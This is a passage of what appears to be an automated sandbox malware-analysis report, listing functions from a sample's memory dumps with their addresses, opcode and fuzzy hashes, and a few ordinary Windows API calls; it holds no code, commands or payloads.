Opcode ID: 1c402660bb33671fe4862d8408b7e530910d66597335a05539a3940a6e635937
Instruction ID: d8157b8ab794fdb59d7f85f798b985b50e64f2fec290e31c5e0af2a6907b4afc
Opcode Fuzzy Hash: 1c402660bb33671fe4862d8408b7e530910d66597335a05539a3940a6e635937
Instruction Fuzzy Hash: 2C9191B4E412298FDB65DF69C954BDDBBB2BF89300F1080EAD819A7250DB315E81CF94

Function 32D41B97 Relevance: .2, Instructions: 165COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3975729252.0000000032D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 32D40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_32d40000_________.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d9398b1d43741c84ddc1817271c0ceedecb51d7b1be7231c3a622cbbd24b556f
Instruction ID: 63584de51853b185bba60565459b2c32b2093fc4134b3ced61bc70b0f367fd18
Opcode Fuzzy Hash: d9398b1d43741c84ddc1817271c0ceedecb51d7b1be7231c3a622cbbd24b556f
Instruction Fuzzy Hash: 388194B5E016298FEB68CF66C944B9EFBF2AF89300F14C1E9D408A7254DB744A85CF51

Function 0015C788 Relevance: .2, Instructions: 152COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3952693567.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_________.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e8e847f7df2c65846533b2938e349b43065cc80069fdcc4b7c12d484aa51efdb
Instruction ID: 71379b62aa511f303513ec31431df32d4f673ad267d7d4b23acc183e8f726cf3
Opcode Fuzzy Hash: e8e847f7df2c65846533b2938e349b43065cc80069fdcc4b7c12d484aa51efdb
Instruction Fuzzy Hash: 3A61A475E00208CFEB18DFAAD844A9DBBF2BF88301F14C069E819AB365DB745945CF50

Function 35F2E7FB Relevance: .1, Instructions: 148COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3978493281.0000000035F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 35F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_35f20000_________.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ec32daebdddaf755336c21d1bc836922463f49bf9f7fa7ebaa7e1eba84ef0862
Instruction ID: 410014a21d450dfe8848bd5aa52602d68286ba3029daacc40561a1213995972e
Opcode Fuzzy Hash: ec32daebdddaf755336c21d1bc836922463f49bf9f7fa7ebaa7e1eba84ef0862
Instruction Fuzzy Hash: A661CF74E112289FEB64DF6ACD51BEABBB2BB89300F5080E9D51DA7250DB305E85CF40

Function 0015EC18 Relevance: .1, Instructions: 147COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3952693567.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_________.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b3d5bb478790aeb4c78264d5d0f1ec615d957de2afc8ee52ce28542e6cbcf1b9
Instruction ID: d7f47784552b5237410ac23c00c6e96794feb71655c7cc5b11bde8203e61f743
Opcode Fuzzy Hash: b3d5bb478790aeb4c78264d5d0f1ec615d957de2afc8ee52ce28542e6cbcf1b9
Instruction Fuzzy Hash: 5E518575E00208DFEB18DFAAD894A9DBBF2BF89301F248129E815AB364DB345945CF50

Function 0015EC0C Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3952693567.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_________.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 821f646cd52205bf6658bfd47035875ddc2a6236a6d13185053f40fdb8740da1
Instruction ID: f3eb07f827b7bcde062c05c24a7402b6b23d8180e63318618c4f5c0b0bce6e83
Opcode Fuzzy Hash: 821f646cd52205bf6658bfd47035875ddc2a6236a6d13185053f40fdb8740da1
Instruction Fuzzy Hash: 7D51A775E00208DFEB18DFAAD894A9DBBF2BF89301F24C129E815AB364DB345945CF50

Function 35F05B37 Relevance: .1, Instructions: 118COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3978441628.0000000035F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 35F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_35f00000_________.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2ba9bce3924f0a28b54a523af304659fbbdcfb397bb9463773237bf55ebf6f8c
Instruction ID: 2f19cd41b81115bee9685e17e907a67e1931479c6426bc6125f79d1d2a894b78
Opcode Fuzzy Hash: 2ba9bce3924f0a28b54a523af304659fbbdcfb397bb9463773237bf55ebf6f8c
Instruction Fuzzy Hash: B341EEB0E012188BEB18DFAAD8507DEBBF2BF88304F24C16AC418BB254DB754946CF54

Function 32D42278 Relevance: .1, Instructions: 111COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3975729252.0000000032D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 32D40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_32d40000_________.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bb450bfecc62fc482f57038100ad709c1a4a4aa0c4e44f02b4b2585cdd9c011f
Instruction ID: dfa570fb643b68a2ed5698c73d13a428b660151f660d2be57af11c7c7589ab32
Opcode Fuzzy Hash: bb450bfecc62fc482f57038100ad709c1a4a4aa0c4e44f02b4b2585cdd9c011f
Instruction Fuzzy Hash: F84156B1E016188FEB58CF6BC9547DAFAF3AFC9204F14C1AAC40DA6264DB750A858F51

Function 35F3F659 Relevance: .1, Instructions: 107COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3978513933.0000000035F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 35F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_35f30000_________.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c28b48ed1c3317feee2912724f6e2c4e90305d432d1d964955a22eeac93b437f
Instruction ID: 665a77468237d4aef0f81cf311a94e6d559f57498885d410f686873df429a7cf
Opcode Fuzzy Hash: c28b48ed1c3317feee2912724f6e2c4e90305d432d1d964955a22eeac93b437f
Instruction Fuzzy Hash: B441F575E05248CBEB04DFBAD8506DEBBB2AF89300F10D52AC418BB354EB794906CF54

Function 35F31818 Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3978513933.0000000035F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 35F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_35f30000_________.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 40d4a7adb73e4285e73d1d6c74f265e65e6a7b37fc0bc746e150cc1ed889a069
Instruction ID: 0ceb2964be4ed22c9e53007653de1612f154e867035c400bc017dcaaf192a6a5
Opcode Fuzzy Hash: 40d4a7adb73e4285e73d1d6c74f265e65e6a7b37fc0bc746e150cc1ed889a069
Instruction Fuzzy Hash: C841E375E01208CBEB18DFAAD8546DEBBF2BF89300F10C46AC418BB254EB355942CF54

Function 32D4E059 Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3975729252.0000000032D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 32D40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_32d40000_________.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 287c3c78e396b1c5cd7d60b0e1d863b14c224f068c9e2ed12af4f6083fe5c6fd
Instruction ID: 943f0807929cfd94fb67e1f3eee1d7f95df4bb51aa4eb8ec5917e36cb6b3d0d7
Opcode Fuzzy Hash: 287c3c78e396b1c5cd7d60b0e1d863b14c224f068c9e2ed12af4f6083fe5c6fd
Instruction Fuzzy Hash: 6B41F375E01248CBEB18DFA6D9546DEBBF2AF89300F20C12AC418BB365DB345945CF90

Function 35F061D8 Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3978441628.0000000035F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 35F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_35f00000_________.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0cde1e0876685e947b49692deeca3e855ef167b01b5555dfedc47923aeacd50a
Instruction ID: 48e5cef0c928d61bd3df8b865fc438965a413f4dc8d49996a878acc82ec91b19
Opcode Fuzzy Hash: 0cde1e0876685e947b49692deeca3e855ef167b01b5555dfedc47923aeacd50a
Instruction Fuzzy Hash: 7641F374E002188BEB18CFAAD8546DEBBF2BF89300F14C16AD418BB354EB355946CF94

Function 35F37F99 Relevance: .1, Instructions: 97COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3978513933.0000000035F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 35F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_35f30000_________.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 45e9e1650156bd9fb8dc1b0e6900da9f0db75dbd986eb5e9f0cbb12a7ff04220
Instruction ID: ecc21831a2daf974aead4a1a8230b1d8de933cae433bff5e0c6f5eec2fb6aa0c
Opcode Fuzzy Hash: 45e9e1650156bd9fb8dc1b0e6900da9f0db75dbd986eb5e9f0cbb12a7ff04220
Instruction Fuzzy Hash: 3831D175E02648CBEB08DFAAD9506DEBBB2BF89300F54C42AD418BB354DB755902CF54

Function 35F26A6F Relevance: .1, Instructions: 96COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3978493281.0000000035F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 35F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_35f20000_________.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d84d858c62a223f61c2e0f682501c2beae2811da3e024a930e6b2f4beaf36e0c
Instruction ID: 7212d21ebabb261d33b22f604d792e0852830ce57d4a23402227eb77e88efa90
Opcode Fuzzy Hash: d84d858c62a223f61c2e0f682501c2beae2811da3e024a930e6b2f4beaf36e0c
Instruction Fuzzy Hash: ED31F5B9E05258CFEB08DFA6D8506DEBBB2BF89300F50C52AC419BB254DB744906CF54

Function 35F2CDC1 Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3978493281.0000000035F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 35F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_35f20000_________.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a655264396cb817389d95842e14dd2f8168e2339eb270fc9a2b45309ccf41ea6
Instruction ID: cea18fbb44f64f76481c350060826674b7f2de8bf266e47dcf95da425319d047
Opcode Fuzzy Hash: a655264396cb817389d95842e14dd2f8168e2339eb270fc9a2b45309ccf41ea6
Instruction Fuzzy Hash: 9431E5B5E016088FDB08DFAAC5406DEBBF6AF89300F64C42AD418BB358DB755942CF55

Function 35F3F97A Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3978513933.0000000035F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 35F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_35f30000_________.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8fc2cf669cb3a8a3886ffff0b1d6e9fa5a8784a1a56cf90a641a49b5a3bf9be9
Instruction ID: 82f46b1d0a5feefd55d1694fd8e3365b83ec461f1aafc5399a764322eeb20ff3
Opcode Fuzzy Hash: 8fc2cf669cb3a8a3886ffff0b1d6e9fa5a8784a1a56cf90a641a49b5a3bf9be9
Instruction Fuzzy Hash: 8831B475E052588FEB08DFAAD840ADEBBB2AF89300F10D52AD419BB254EB754906CF54

Function 35F26D90 Relevance: .1, Instructions: 94COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3978493281.0000000035F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 35F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_35f20000_________.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2be8e6f91c444714ded1dc97c02e72bccfcfadbd53cd66d154628fdcc77a87fc
Instruction ID: 8f3d16f5cfc6b14cda92b2de9ab79ed313cbdde8fdb2d370e7c38fc0348af32f
Opcode Fuzzy Hash: 2be8e6f91c444714ded1dc97c02e72bccfcfadbd53cd66d154628fdcc77a87fc
Instruction Fuzzy Hash: 3431E5B9E056088FDB08DFAAC5406DEBBF2AF89300F24C42AD418BB354DB345902CF94

Function 35F31CDF Relevance: .1, Instructions: 94COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3978513933.0000000035F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 35F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_35f30000_________.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2c357d3dba4204e9d19c6976832d5f75cffce83e87100af80777e1f1d0bfc170
Instruction ID: 9262ca62b6834c6e348e9061b54aa3641a3c6309c09405fb3ca18a63f841ca28
Opcode Fuzzy Hash: 2c357d3dba4204e9d19c6976832d5f75cffce83e87100af80777e1f1d0bfc170
Instruction Fuzzy Hash: 7F310375E012488BEB08DFAAD941ADEBBF2EF89300F24D42AC419BB354DB745902CF54

Function 35F37D12 Relevance: .1, Instructions: 93COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3978513933.0000000035F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 35F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_35f30000_________.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8b43ba59bdf39cfd94d4fdd018532bf6cd0e0a3710d23c4f735ec4efdc2dacdf
Instruction ID: bf0f8090d062aa1a1059b086ef15f63c19bdd134cbe338eedeb5ef09c075d9fb
Opcode Fuzzy Hash: 8b43ba59bdf39cfd94d4fdd018532bf6cd0e0a3710d23c4f735ec4efdc2dacdf
Instruction Fuzzy Hash: BE31E775E012088BEB08DFAAC5416DEBBF3AF89300F64D42AD418BB354EB355942CF94

Function 35F061A9 Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3978441628.0000000035F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 35F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_35f00000_________.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bbb212613818518f875ffb5c5041689703463f4fdc77eebf91f9be5c9b9d6608
Instruction ID: c6ead0da2d867c1559d3ad7727d22d73c68d953773b73cfd0196b075fe2c672f
Opcode Fuzzy Hash: bbb212613818518f875ffb5c5041689703463f4fdc77eebf91f9be5c9b9d6608
Instruction Fuzzy Hash: 0E31C274E042188FDB14CFAAD95469EBBB2BF89300F14D56AC418AB254EB754942CF84

Function 360BB812 Relevance: 6.1, APIs: 4, Instructions: 134
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 360BB89E
GetCurrentThread.KERNEL32 ref: 360BB8DB
GetCurrentProcess.KERNEL32 ref: 360BB918
GetCurrentThreadId.KERNEL32 ref: 360BB971

Memory Dump Source

Source File: 00000003.00000002.3978620236.00000000360B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 360B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_360b0000_________.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: c41ea48e0d3037dc911056e51b56fedf1d71223d47c8989080e1501392ffefce
Instruction ID: 3e733487123c0712291319744c942801cf79964278d446940b60cc2a79406703
Opcode Fuzzy Hash: c41ea48e0d3037dc911056e51b56fedf1d71223d47c8989080e1501392ffefce
Instruction Fuzzy Hash: 015164B09007498FDB04CFAAC945BDEBFF2EF89300F248499E508A7361DB749945CB62

Function 360BB820 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 360BB89E
GetCurrentThread.KERNEL32 ref: 360BB8DB
GetCurrentProcess.KERNEL32 ref: 360BB918
GetCurrentThreadId.KERNEL32 ref: 360BB971

Memory Dump Source

Source File: 00000003.00000002.3978620236.00000000360B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 360B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_360b0000_________.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 7ed2dd9da48b7b786d536d3a0ebb1701344acb1d2abe9628ce37e97630586145
Instruction ID: 66e25ddfc70c559ef949dd2d32ec846a230c94b89422be5b791e9b48b1c42240
Opcode Fuzzy Hash: 7ed2dd9da48b7b786d536d3a0ebb1701344acb1d2abe9628ce37e97630586145
Instruction Fuzzy Hash: B65156B0900609CFDB04CFAAC945BDEBBF2EF88300F248499D519A7360DB759941CB66

Function 3672B9D8 Relevance: 1.9, APIs: 1, Instructions: 396COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3978862220.0000000036720000.00000040.00000800.00020000.00000000.sdmp, Offset: 36720000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_36720000_________.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 82ed01d721660067c1bc2bfca32a29e6d2b8572fca5793342605fda908fbad49
Instruction ID: 742963a06387638aec4bf3c896548b27fa7168a0ad42a1605c30e2a364824991
Opcode Fuzzy Hash: 82ed01d721660067c1bc2bfca32a29e6d2b8572fca5793342605fda908fbad49
Instruction Fuzzy Hash: 43F13A74E00209CFEB04DFA9C848B9DBBF2BF88708F958159D505AF265DB74A985CF81

Function 367268A4 Relevance: 1.6, APIs: 1, Instructions: 119COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 367269C2

Memory Dump Source

Source File: 00000003.00000002.3978862220.0000000036720000.00000040.00000800.00020000.00000000.sdmp, Offset: 36720000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_36720000_________.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: aa11f6fbaa11b532b4e6b56c983841f2a47fb0ba90f51e477b675141486c1d14
Instruction ID: 9552ba91a231d0f07831fdeecfa50d0c024dd342939aa4e5e157d14632421ab9
Opcode Fuzzy Hash: aa11f6fbaa11b532b4e6b56c983841f2a47fb0ba90f51e477b675141486c1d14
Instruction Fuzzy Hash: FE51E0B5C10359DFDB14CFAAD980ADEBFB2BF48310F64812AE818AB210D7749851CF90

Function 367268B0 Relevance: 1.6, APIs: 1, Instructions: 113COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 367269C2

Memory Dump Source

Source File: 00000003.00000002.3978862220.0000000036720000.00000040.00000800.00020000.00000000.sdmp, Offset: 36720000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_36720000_________.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 721a6d7aff3af2cd7d1913a8e885069c5c8a0370106be21c95d7c14440a390ac
Instruction ID: 5011f6c5f4ac97851ff26f0b209b81ecdf7a0d59a4c7f2808c3f49f999455457
Opcode Fuzzy Hash: 721a6d7aff3af2cd7d1913a8e885069c5c8a0370106be21c95d7c14440a390ac
Instruction Fuzzy Hash: 0A41D0B5D10359DFDB14CFAAC880ADEBBB5BF48310F64812AE818AB210D7749851CF90

Function 36725D14 Relevance: 1.6, APIs: 1, Instructions: 97COMMON

Download Yara Rule

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 36728F31

Memory Dump Source

Source File: 00000003.00000002.3978862220.0000000036720000.00000040.00000800.00020000.00000000.sdmp, Offset: 36720000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_36720000_________.jbxd

Similarity

API ID: CallProcWindow
String ID:
API String ID: 2714655100-0
Opcode ID: 476140fffd8deaf5a15cada4a8ddde84a1d5462da993779b815d767173e42ed3
Instruction ID: ea010732560f15ac25fd12af921487e8776c90b74819cae2286ee1af4dc1b6a2
Opcode Fuzzy Hash: 476140fffd8deaf5a15cada4a8ddde84a1d5462da993779b815d767173e42ed3
Instruction Fuzzy Hash: 4A4119B8900305DFDB04CF99C844AAABBF6FB88314F24C459E518AB321D775A845CFA1

Function 360BBA60 Relevance: 1.6, APIs: 1, Instructions: 67COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 360BBAEF

Memory Dump Source

Source File: 00000003.00000002.3978620236.00000000360B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 360B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_360b0000_________.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: cb12104d1c510b92490f98f705fc271ddb489efdd397db4be05b7b576737caf0
Instruction ID: 98b64c36ee5a814e3110fe431e2649107525cffb37ba563974ec8dfd6a350347
Opcode Fuzzy Hash: cb12104d1c510b92490f98f705fc271ddb489efdd397db4be05b7b576737caf0
Instruction Fuzzy Hash: 8321E5B5900248EFDB10CFAAD985ADEFFF4EB48320F14845AE958A3310D774A940CFA5

Function 360BBA68 Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 360BBAEF

Memory Dump Source

Source File: 00000003.00000002.3978620236.00000000360B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 360B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_360b0000_________.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 236003cc1cb4dd9e3c5d4af776df1f3edbfafde62a92f73f22a26c8fa675decd
Instruction ID: 723de6995c86a7ff633eef2de82a006f8e3ef01e41daebbe29da3b1512109eac
Opcode Fuzzy Hash: 236003cc1cb4dd9e3c5d4af776df1f3edbfafde62a92f73f22a26c8fa675decd
Instruction Fuzzy Hash: 0221C4B5D00248EFDB10CFAAD984ADEBFF4EB48320F14845AE954A7310D374A940CFA5

Function 3672B3B0 Relevance: 1.6, APIs: 1, Instructions: 50comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 3672B40D

Memory Dump Source

Source File: 00000003.00000002.3978862220.0000000036720000.00000040.00000800.00020000.00000000.sdmp, Offset: 36720000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_36720000_________.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 0f512373130b596935981a62cf28eee290f3b23693ddb93bbf37c1c2250a55ce
Instruction ID: ea68add520a1a5445346911b686432519ae0cfca62555029060ae7aea1afe061
Opcode Fuzzy Hash: 0f512373130b596935981a62cf28eee290f3b23693ddb93bbf37c1c2250a55ce
Instruction Fuzzy Hash: DE1163B5800348DFCB10CFAAD588BDEBBF4EB48724F10841AD518AB300C334A541CFA6

Function 3672A550 Relevance: 1.5, APIs: 1, Instructions: 46comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 3672B40D

Memory Dump Source

Source File: 00000003.00000002.3978862220.0000000036720000.00000040.00000800.00020000.00000000.sdmp, Offset: 36720000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_36720000_________.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: dab62989f4ca8a2fb3d2bda253baca43c7f725f847137ae6a7eadc836a4e30c9
Instruction ID: 9da9388305bbf84ed500e8e5515904095bcd59f95312798fa3fe06e597e5baa5
Opcode Fuzzy Hash: dab62989f4ca8a2fb3d2bda253baca43c7f725f847137ae6a7eadc836a4e30c9
Instruction Fuzzy Hash: EB11E5B5900748DFDB10DFAAD444B9EBBF4EB48724F14845AD558A7300D378A944CFA5

Function 32D43CC0 Relevance: 1.5, Strings: 1, Instructions: 228COMMON

Download Yara Rule

Strings

, xrefs: 32D43DBD

Memory Dump Source

Source File: 00000003.00000002.3975729252.0000000032D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 32D40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_32d40000_________.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: d60778e87bf42ef5fca7f029837ee30c9826d064ed0773b2b6dbb7c968dc8ec7
Instruction ID: f93eb23a83f8155dfcc5c67043a0f68e02e869d5a937073a723f37647ce97778
Opcode Fuzzy Hash: d60778e87bf42ef5fca7f029837ee30c9826d064ed0773b2b6dbb7c968dc8ec7
Instruction Fuzzy Hash: 1D8105707006009BEB556F78C85936D37A2AFC5360FA08629F8569B7E1CF358D81CB52

Function 35F2F4F7 Relevance: 1.4, Strings: 1, Instructions: 114COMMON

Download Yara Rule

Strings

2, xrefs: 35F2F5D3

Memory Dump Source

Source File: 00000003.00000002.3978493281.0000000035F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 35F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_35f20000_________.jbxd

Similarity

API ID:
String ID: 2
API String ID: 0-3503038589
Opcode ID: 85af9a18ecf9875c689385523aa1edf1413c270d2dc4b32e1c7be4ced179c68f
Instruction ID: e159f6316329dd01ff66419b6ccf131911f93637d04e5e7be36e25171ab42a71
Opcode Fuzzy Hash: 85af9a18ecf9875c689385523aa1edf1413c270d2dc4b32e1c7be4ced179c68f
Instruction Fuzzy Hash: 9741DDB8E15208CFDB04DFA4D994AEDBBF1FB89300F60852AD415B72A0DB345A46CF54

Function 35F2F508 Relevance: 1.4, Strings: 1, Instructions: 111COMMON

Download Yara Rule

Strings

2, xrefs: 35F2F5D3

Memory Dump Source

Source File: 00000003.00000002.3978493281.0000000035F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 35F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_35f20000_________.jbxd

Similarity

API ID:
String ID: 2
API String ID: 0-3503038589
Opcode ID: 946bcbf4b4c1fbba5c7787b20fc3a935e7020c73e10ca5fa9cf005ee8ba75107
Instruction ID: 679280f36775a73a4077ec0d9a43e2d4eefb600e9114e4a1383e548e454fc136
Opcode Fuzzy Hash: 946bcbf4b4c1fbba5c7787b20fc3a935e7020c73e10ca5fa9cf005ee8ba75107
Instruction Fuzzy Hash: 4741BDB8E15208CFDB04DFA5D9946EDBBF2FB89300F60842AD415B72A4EB345A46CF54

Function 00152790 Relevance: 1.3, Strings: 1, Instructions: 88COMMON

Download Yara Rule

Strings

F, xrefs: 001527BF

Memory Dump Source

Source File: 00000003.00000002.3952693567.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_________.jbxd

Similarity

API ID:
String ID: F
API String ID: 0-2730988801
Opcode ID: c95865f62363589bfe0a7dece56197e594818abd67ec0bec97b669dad45dd391
Instruction ID: 0c1ec90e04c080c508ea2e805eba8a14cb323b3f94b222f82845f437d408450a
Opcode Fuzzy Hash: c95865f62363589bfe0a7dece56197e594818abd67ec0bec97b669dad45dd391
Instruction Fuzzy Hash: 4C312835D093498FCB05DFB9D8446EDBFB4AB4B301F1001AAD454AB261EB351989CBA1

Function 00158E88 Relevance: .7, Instructions: 670COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3952693567.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_________.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 264648fb4dc3406ad47b9421cd2210162b22376e99c937a85354deb1b81ba9a4
Instruction ID: 26e63c10c7a51314b0e62f0a7fd9546840db8d08f31227c15ccf28972d0fe352
Opcode Fuzzy Hash: 264648fb4dc3406ad47b9421cd2210162b22376e99c937a85354deb1b81ba9a4
Instruction Fuzzy Hash: 7852EC34A0021CCFEB159BA4D860B9EBB72FF85301F1081A9D51A7B391DF359E869F61

Function 0015E2A8 Relevance: .6, Instructions: 647COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3952693567.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_________.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5c6a24d558b9fc8c6048d246ebd59b2e2f5db1da073a626e0cb05f89441aadd5
Instruction ID: 263aaed06187c78b2a957f70d30bcd3851d8d37c385a983bbe418ee1c81c49af
Opcode Fuzzy Hash: 5c6a24d558b9fc8c6048d246ebd59b2e2f5db1da073a626e0cb05f89441aadd5
